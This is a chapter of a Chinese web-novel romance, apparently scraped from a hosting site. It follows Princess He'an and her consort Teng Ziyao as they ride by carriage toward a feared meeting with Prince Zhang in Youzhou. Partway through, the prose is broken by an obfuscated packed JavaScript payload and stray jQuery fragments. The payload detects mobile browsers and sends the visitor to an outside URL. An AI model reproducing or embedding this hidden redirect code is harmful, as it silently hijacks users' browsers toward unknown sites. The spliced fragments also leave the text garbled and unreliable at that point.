30. 幽州做客

作品:《公主她另有心上人

    滕子尧算是见识了自家人美心善的妻子发威的样子了,脖子那一处不太疼,可是很痒痒。


    还带着些许让他血脉喷涌的源动力。


    骨节分明的手捏在女子的腰侧,他的呼吸都变得急促。


    和安咬的牙都发酸了,然后抬起头看那个牙印子,红的发黑,没出血。


    她有点不解恨,可是也不能咬了。


    男子的手捂到了她嘴上,继续道歉说:“好了,别把牙给咬坏了。”


    然后轻轻蹭了蹭她的牙齿说,“掉了牙那就不好看了。”


    本来气哼哼的人,更加气了,非要狡辩:“没了牙我也好看。”


    他轻轻的拍着她的后背说:“嗯,没了牙的仙女也是仙女。”


    和安的心慢慢的平静了下来,脸也不那么红了,只把头埋在他的肩膀上。


    “仙女殿下,累了就休息会吧。”


    他的声音很轻很轻,又将人抱得很舒服,和安竟然真的睡着了。


    等他的宝贝真的睡着了以后,滕子尧的眼神变得复杂了起来。


    这一趟的鸿门宴,他并没有把握能全力脱身,若是不能,也要保住她。


    璋王在幽州的异动,朝廷并非没有一点耳闻,只是还不是解决的时机。


    至少要再等一等。


    而且皇帝更愿意用别的办法来解决,能不动兵戈最好就不动。


    璋王让他们去或许也并不是想要干什么,他猜是想敲山震虎。


    滕子尧摸了摸她的头,轻轻的在她的耳边亲了亲。


    很快马车出了景州的地界,交界处的石碑那边还有一队人马在等着。


    里面有两个婆子,说是专门给来伺候公主的。


    婆子的身形都格外的强壮,应该是粗使的婆子。


    和安公主表达了自己的嫌弃:“两位嬷嬷,我不需要伺候。”


    她看向了滕子尧,不想跟他分开。


    其中的一个婆子笑着说:“老奴给公主带来了换洗的衣物,公主一路风尘,老奴不能怠慢了。”


    另外的婆子举着衣物,跪在一边不言语。


    她的眼神看向了滕子尧,然后说:“本宫由驸马伺候即可。”


    让陌生的嬷嬷伺候自己,她宁可让滕子尧伺候。


    “嗯,臣伺候即可。”


    他伸手把衣物都给拿走,然后带着公主进了另外那一架马车里面。


    新换的马车富丽堂皇,能坐十多个人,就是站着也完全足够高。


    但是却没有隔挡的屏风,她抱着衣服,红着脸让他别偷看。


    可是驸马本人却不太愿意。


    “公主,臣是您的丈夫,看一下总可以吧?”


    可是却被一双白嫩的小手给打了一巴掌,她说:“你休想!”


    然后滕子尧举起来手,转头面对马车壁:“好好好,不看,也不想了。”


    美貌的女子确定了他不会偷看,然后才慢慢的开始解衣服。


    外衣,里衣,然后是肚兜,亵裤,一件一件的脱下来,然后又快速的换上了了新的肚兜和亵裤。


    等穿上裙子,她才发现腰带她有点扎不上。


    “那个,帮帮我。”


    她转过身,只让他帮忙从后面系起来带子。


    “臣不敢偷看。”


    他故意不帮忙,就非要让她求求自己。


    结果突然马车一颠簸,她晃了一下,然后发了个喷嚏。


    这下子滕子尧着急了,赶紧就转过去给她穿衣服。


    “是不是感染了风寒?”


    和安甚至都没反应过来,就已经被包成粽子了。


    他非常麻溜儿的就把她的衣服给瞬间穿好了,这让她想到了些关键问题。


    这么熟练?难道经常给她穿衣服?


    滕子尧抬头看到她的小眼神,瞬间就懂了她的小心思,然后想了想给了她一个肯定的眼神。


    她一撇嘴然后抱住了胸,露出来一副被非礼的表情。


    这可把这位深情驸马给逗笑了,他摸了摸她的脸说:“公主,臣可是您八抬大轿娶的驸马,您这样我很受伤的。”


    然后和安还能怎么办呢?


    家里包办的驸马,她只能自己宠着呗。


    不过,没过多久,马车停了下来,有人敲门,还是那俩婆子。


    “驸马,您的衣服到了。”


    刚刚只有和安的换洗衣服本来就有点奇怪,现在给他专门送一趟,那就更加的奇怪了。


    那婆婆也是奇怪,下面的话让人感觉匪夷所思。


    “驸马爷,这是我们县主专门给您挑的。”


    滕子尧的手一滞,更是不太明白了。


    可是那婆子笑的意味不明,躬身离开了。


    和安却似乎对那位县主有些印象。


    “你认识福彩县主?”


    她的表情活像是在审问出轨的丈夫,满脸写着不相信。


    “吃醋了?”


    滕子尧翻了翻衣服,发现就是一件简单的男子成衣。


    月白色的锦袍,纹饰华丽,甚至还带着配套的玉珏。


    “你为什么不正面回答我?”


    她更加怀疑了。


    可是滕子尧却一摊手说:“我都不知道她叫什么彩,我看公主跟她更熟吧。”


    不过他也没打算换衣服,推开衣服就准备抱一抱吃醋的公主。


    结果,她还有些不愿意了。


    “把衣服换了,现在你太臭了。”


    然后把衣服丢到了他脸上,扭过头让他赶紧换。


    高大的男子起身,大大方方的脱了自己的外衣,露出了坚实的身躯。


    滕子尧很白,身上也是薄薄的肌肉,只是后背还有个疤,和几道青紫色的伤痕,都是在庙里面被刺客给弄伤的。


    不过和安却不想乖乖的,她握了握拳,还是决定转头看一下。


    可是这一看,她的眼泪就在眼圈里面打转转了,上面的伤痕和疤都是保护她的证据。


    男子轻笑:“公主真是双标,不让臣看,自己却可以偷看。”


    可是和安却突然上来抱住了他的腰,然后那带着哭腔的声音说:“你怎么不喊疼?傻不傻。”


    她的脸贴在他后背的皮肤上,有些凉凉的。


    不知怎么的,滕子尧也有些害羞了起来。


    他说:“好,下次我傻一点,让公主更疼我。”


    然后接着他打了个喷嚏说:“公主,臣要感染风寒了。”


    然后她才松开了手,还主动帮他系腰带。


    可是金尊玉贵的公主很明显没有伺候过人,腰带系的都歪了,可是他却不以为意。


    然后他还使劲的系好了玉珏,小声说:“公主,咱们说不定要跑路,到时候身上值钱的都要带好了。”


    本来还有些感动的和安彻底的破涕为笑了,然后认真的点了点头,还主动摸了摸胳膊上的金玔子,都不能丢的。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138832|162743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    等他换好了衣服了,没多久就从来了餐食。


    精致的饭盒还镶嵌着宝石,漂亮极了。


    可是和安的心思却不在饭食上面,只想着把宝石给扣下来换钱。


    滕子尧哈哈哈大笑起来,对他可爱的小公主是一点都没办法。


    然后他把饭菜拿出来让她先吃,自己想办法扣宝石。


    “先吃饭,吃饱了才能保护我。”


    和安让滕子尧也坐下一起吃饭,要跟他一起吃才行。


    等吃完了饭后,滕子尧拔下她的一根簪子,将宝石给撬了下来,递给她。


    “保管好。”


    她小心翼翼的藏在了自己的绣鞋里面,然后拍了拍胸脯保证。


    又是把滕子尧给一顿笑。


    宝藏小媳妇,怎么就成了他的了。


    真是幸运。


    渐渐的天已经黑透了,还没有到璋王府。


    和安在滕子尧的怀里面睡了一觉又一觉。


    因为他说了要保持体力,随时都要逃跑的。


    不过他也就是说说,毕竟他们两个从几百个兵卒眼前跑了,根本就不可能。


    必须要跟璋王见一面。


    至于那个什么福彩县主,滕子尧确实不认识,可是却跟她有些交集。


    当初他高中,似乎有个媒婆就是替什么县主求亲,现在一想,或许就是这个福彩县主。


    现在他最怕的就是对方要伤害和安。


    怎么对他,他都毫无怨言,但是对和安不行。


    也不知道景州那边有什么消息了。


    景州的滕家院内,被官兵层层把守着。


    郭将军将里面给围的水泄不通。


    受伤的侍卫和丫鬟们,都是一起来的太医在诊治。


    滕家人无论怎么问驸马和公主的下落,都没有回信。


    “驸马和公主都没事,放心。”


    郭将军守口如瓶,滕家人每一个人都揪心不已。


    不过他也并不是什么都说,他多次声明了,“公主和驸马没事,大家不用担心。”


    可是现在这样子,谁能不担心啊。


    定然是出了什么事情。


    平瑾从醒来就是要跟他们拼命,结果最后被绑了起来。


    等到了大半夜,他突然才想起来,滕子尧是留了一封书信的。


    滕家人看了以后,悄悄的放心了些,不过还是持续的哀求想要出去。


    他们觉得这件事必须要让县太爷知道才行,最后郭将军烦不胜烦,干脆用了自带的蒙汗药,让这一屋子的人都消停了。


    滕家一宅子里面一片安静,只有把守的士兵才会弄出来些动静。


    不过他们还是没有逃过外面人的眼睛,一个经常来讨饭的老乞丐看到了大批的士兵进去了以后,快马加鞭的传送出去消息。


    不过至少还需要三天才能到京城。


    他也不知道和安公主到底去了哪里,只能赶紧给主子去报信去。


    但是他不知道的事,那一封信在刚刚出了景州就被人给截胡了,那封信不知道去了何人的手中。


    深夜的幽州,一辆豪华的马车的队伍进了城门,守城的将士举着火把跟队伍里面的人打招呼,目送他们一行人离开,今日特意交代他们要一直等人。


    然后那将士对旁边一起守值的人说:“璋王请来了贵客了。”


    旁边的人倒抽了一口凉气,咬着牙警告对方:“闭嘴吧,别多话。”